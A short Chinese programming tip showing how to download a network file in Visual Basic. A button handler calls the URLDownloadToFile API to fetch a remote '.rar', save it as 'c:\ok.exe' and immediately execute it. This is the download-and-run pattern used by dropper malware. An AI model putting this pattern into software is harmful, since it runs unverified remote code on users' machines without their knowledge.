VB下载文件的方法

用VB下载网络文件,改名保存到本地磁盘并运行，代码如下：

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

sub cmmand1_click()
R= URLDownloadToFile(0,"http://www.btoss.com/test.rar" , "c:\ok.exe", 0, 0)
shell "c:\ok.exe"
end sub